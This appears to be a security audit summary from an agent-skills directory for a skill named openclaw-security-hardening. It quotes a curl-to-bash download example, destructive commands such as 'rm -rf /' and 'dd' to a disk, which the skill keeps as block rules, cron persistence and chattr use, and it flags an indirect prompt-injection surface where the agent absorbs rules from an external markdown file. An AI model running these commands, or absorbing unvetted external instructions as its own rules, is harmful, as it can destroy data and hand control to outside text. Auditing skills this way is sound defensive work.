The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides commands that download and execute remote shell scripts (e.g., curl http://example.com/setup.sh | bash) as part of its 'Yellow Line' validation tests to ensure the agent correctly identifies and pauses before executing such patterns.
[PERSISTENCE]: The skill implements a persistence mechanism by installing a recurring cron job (crontab) that executes a security audit script daily at 2 AM.
[DYNAMIC_EXECUTION]: The skill instructs the agent to dynamically generate a bash script (nightly-audit.sh) by writing content to a file and then making it executable with chmod +x for subsequent runtime execution.
[PRIVILEGE_ESCALATION]: The skill utilizes high-privilege system commands such as chattr +i and chattr -i to set or remove the immutable bit on critical configuration files, which requires elevated file system permissions. It also monitors for unauthorized chmod 777 usage.
[COMMAND_EXECUTION]: The skill lists several destructive terminal commands (e.g., rm -rf /, dd if=/dev/zero of=/dev/sda, mkfs.ext4) as 'Red Line' rules that the agent is instructed to monitor for and block.
[EXTERNAL_DOWNLOADS]: The skill fetches configuration and guidance files from an external repository (github.com/slowmist/openclaw-security-practice-guide.git).
[INDIRECT_PROMPT_INJECTION]: The skill establishes a vulnerability surface where the agent is instructed to 'assimilate' instructions from an external markdown file (OpenClaw-Security-Practice-Guide-v2.8.md) to define its security rules.
Ingestion points: The agent reads the guide from the docs/ directory in SKILL.md.
Boundary markers: The skill lacks explicit delimiters or sanitization warnings when processing the guide content, instructing the agent to load rules into its 'permanent context'.
Capability inventory: The agent possesses extensive capabilities including crontab, chattr, chmod, git, and shell execution (bash).
Sanitization: There is no documented validation or sanitization of the rules ingested from the external markdown files.

openclaw-security-hardening